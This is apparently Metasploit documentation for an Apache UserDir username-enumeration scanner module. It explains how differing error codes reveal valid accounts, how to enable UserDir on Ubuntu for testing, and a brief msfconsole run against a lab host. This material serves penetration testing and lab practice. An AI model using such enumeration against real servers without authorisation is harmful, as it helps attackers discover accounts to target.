Vulnerable Application

This module determines if usernames are valid on a server running Apache with the UserDir directive enabled. It takes advantage of Apache returning different error codes for usernames that do not exist and for usernames that exist but have no public_html directory.

Enabling UserDir on Ubuntu 16.04 with Apache installed

  1. sudo a2enmod userdir
  2. sudo service apache2 restart

Verification Steps

  1. Do: use auxiliary/scanner/http/apache_userdir_enum
  2. Do: set RHOSTS [IP]
  3. Do: set RPORT [PORT]
  4. Do: run

Scenarios

Apache 2.4.18 on Ubuntu 16.04

msf > use auxiliary/scanner/http/apache_userdir_enum
msf auxiliary(scanner/http/apache_userdir_enum) > set rhosts alderaan
rhosts => alderaan
msf auxiliary(scanner/http/apache_userdir_enum) > run
